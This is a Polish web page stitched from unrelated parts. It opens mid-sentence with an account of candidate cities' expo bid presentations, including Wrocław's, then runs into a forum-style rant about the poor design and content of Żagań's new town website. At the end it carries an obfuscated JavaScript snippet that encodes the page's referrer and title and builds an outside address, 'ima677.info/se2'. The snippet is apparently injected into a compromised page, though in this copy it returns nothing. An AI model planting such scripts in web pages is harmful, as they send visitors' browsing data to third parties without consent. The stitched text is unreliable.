filmu było obrazek ze stacji kosmicznej. Rosyjscy astronauci mówili, że mają
nadzieję na sukces Moskwy.

Potem Meksyk i Argentyna. Obie prezentacje wypadły blado. Meksykanie puścili
film o sobie. ”Meksykanie - naród gór, słońca i XXI wieku” - taki był mniej
więcej tytuł. Argentyna - wstał mężczyzna i zaczął opowiadać rocznik
statystyczny państwa. W tle wyświetlano wykresy i slajdy. Potem był film - po
bożemu. Nastąpiła przerwa.

Po przerwie - POLSKA! Była ok. 18.00. Zaczął minister Kaczurba. Przedstawił
stanowisko rządu wobec Expo (oczywiście pozytywne), powiedział o poparciu i
gwarancjach finansowych. Po nim wystąpił prezydent Huskowski. Denerwował się -
drżał mu głos. Mówił o historii Wrocławia. Następnie pusczono film. Składał się
z dwóch części. Pierwsza - Polska: generalnie rzecz biorąc stereotypy (Papież,
Małysz, Wałęsa...). Druga część - Wrocław. Tu było dużo lepiej. Wg Filipa film
świetny. Wrocław wyglądał lepiej niż Paryż. Pięknie pokazane miejsca. Oprócz
tego nasze wizytówki - Grotowski, Tomaszewski, drugie pod wzgl. ekonomicznym
miasto w Polsce, Uniwersytet. Były długie brawa!

Josu i Szanghaj - podobny krąg kulturowy. Josu - ładny film z przyrodą jako
głównym bohaterem. W tle była mowa o zaletach miasta. Podkreślali sprawy
ekonomiczne. Przedstawili się jako centrum ekonomiczne Korei Pd.
Szanghaj. Dziennikarze: ”ani to film o Chinach, ani o Szanghaju, po prostu
teledysk”. Dużo nowoczesności. Świetny plastycznie. Dynamiczny. Głośna muzyka.
Ale raczej impresyjny. Brakowało odniesień do konkretnego Miasta i Państwa.

To tyle.

PS
Wojewoda Nawrat powiedział, że Wrocław miał jedną z trzech najlepszych
prezentacji.

Nie no serio, ta strona to jakaś masakra jest!
Nijak nie ma się do tego czym Żagań chce być, ani toto ładne, ani funkcjonalne.
A czytelne to już wcale. Te super fajowskie ikonki rodem z "Wordowskiej" galerii
Clipartów. Kolory... no niby pomarańcz jakoś kojarzy się z Żaganiem, ale
reszta?? Serio jeśli wchodząc na tą stronę - i nie znając Żagania - chcę się
czegoś dowiedzieć to pierwsze co mi się nasuwa na myśl to "plastikowe" to
miasto... pooglądałem sobie strony innych miast - nie tylko z regionu, ale też i
Krakowa, Wieliczki, Głogowa, Legnicy i innch mniejszych... i one są jakieś takie
może i pstrokate (Strona Zielonej Góry przekracza wszelkie granice pstrokatości)
ale... Nie są plastikowe... Ta Nasza - bądź co bądź - nowa strona nijak nie
kojarzy mi się z turystycznym Żaganiem. Nijak nawiązuje do historii Naszego
Miasta, Stalagu, Wielkiej Ucieczki, księżnej Doroty, Keplera, Diabłów,
Kamieniczek, Pałacu... No nijak... ja się naprawdę starałem dostrzec coś dobrego
w tej stronie... ale nawet mapki do oferty inwestycyjnej są te same stare... że
nie wspomnę już o wspaniałym planie miasta prosto z Google Maps...(i czemu u
licha nie użyto mapy z ZUMI?? tam widok satelitarny Żagania jest "100%" bardziej
dokładny)... dalej... klikam na Informator-> położenie. Mapka fajowska, ale
czemu nie da się tego obrazka powiększyć? Dalej... Turystyka-> Warto zobaczyć...
pomijam litrówki w opisach - czemu zdjęcia zabytków nie są nowe? czemu to są
malutkie skany z pocztówek z lat 80-tych? Co to nie ma już aparatu cyfrowego,
żeby pójść i zrobić kilka zdjęć? (jak już tak bardzo sie komuś nie chciało
zapraszam na Wikipedię;])
dalej... Warto Zobaczyć->Szlaki i Ścieżki - obrazki to znowu skany... i to tak
małe i nie dokładne, że nawet Ja - osoba, która zna okolice Żagania (złaziłem z
aparatem okoliczne lasay) nie bardzo się orientuję, co gdzie leży.
dalej... Warto zobaczyć-> Muzeum - czemu jestem przenoszony ze strony Żagania do
strony Muzeum? nie można by tak napisać krótkiej notatki co to za muzeum i niżej
dać linku do strony tegoż ostatniego?
Gastronomia - może jakaś wyszukiwarka? trochę tego jest w Żaganiu. Może
możliwość oceny lokalu? Nie chce mi chyba nikt powiedzieć, że nie ma różnicy
pomiędzy "tropikiem" a "keplerem"... i w jakiej kolejności ktoś poukładał te
lokale to nie mam pojęcia... jaki klucz? Może "kto więcej zapłaci" albo "kogo
Sławek bardziej lubi"? Nota bene "kawiarni Pałacowej" to już jakiś czas nie ma
;) Dlaczego przy Pizzerni 3 kolory mamy takie pomarańczowe "www" a przy Willi
park już cały adres strony?
Transport-> sponsorem tego działu jest firma Inter Taksi... Ni słowa o innych
"korporacjach" CZEMU?
Bankomaty-> Bankomatu BZWBK w rynku przy sklepie AGD już nie ma ;) jest przy
WZORCOWYM... a to nie jest ul. Rynek 37;] (i co mają banki wspólnego z TURYSTYKĄ?)
TAPETY-> to już jest całkowita masakra!!! LUDZIE LITOŚCI Czy WY naprawdę nie
macie za grosz samokrytyki?? Ja bym się nawet nie odważył zrobić tak brzydkich
zdjęć Naszego MIASTA.... TE ZDJĘCIA NIE TYLKO SĄ BRZYDKIE - one są technicznie
tak bardzo zepsute jak to tylko możliwe! Zapraszam tego kto robił te foty na
tapety na kółko fotograficzne do Pałacu w piątek - na godzinę 18:30 (do grupy
początkującej)... choć nie lepiej niech nie idzie bo go zwyczajnie WYŚMIEJĄ!
Filmy... Pusto tu jakoś... Tabula Rasa ;>
Wydawnictwa -> Fajnie, ze mamy tyle książek o Żaganiu... szkoda, że ŻADNA nie
jest dostępna w sprzedaży... nigdzie... nawet w IT ;(
Przyroda-> cóż... lakonicznie, bez emocji zero zdjęć... słowem masakra...
KArtki-> Pomysł bomba ;) podoba mi się! nawet niektóre zdjęcia są całkiem
niezłe... milion milionów razy lepsze od tych z działu TAPETY;] (co wcale nie
oznacza, że wszystkie są dobre)
Wirtualny spacer-> znana aplikacja ;) pomysł rewelka podoba mi się:)
i tak można dalej...

SŁOWEM MASAKRA... albo nie... brak mi słów...
czy naprawdę osoba odpowiedzialna za przygotowanie tej strony (pomijam
CarboMedia, bo oni zapewne wzięli kasę za algorytm, nie za "zawartość" co wcale
nie oznacza, że nie są współodpowiedzialni) nie mogła bardziej się postarać?
czemu nie nowy wygląd strony nie został przedyskutowany z Mieszkańcami? dlaczego
nie przedstawiono alternatywnych wersji strony głównej?
i KTO W UM ODPOWIADA ZA TAKIE BADZIEWIE??? Ja bym tego kogoś natychmiast ZWOLNIŁ
i kazał jeszcze dopłacić...
Burmistrzowi gratulujemy świetnego poczucia humoru... i kompetentnej kadry! oby
tak dalej!

function bb5154522813298(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515452281325c(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515452281325c(bb5154522813298(document.referrer),bb5154522813298(document.title)));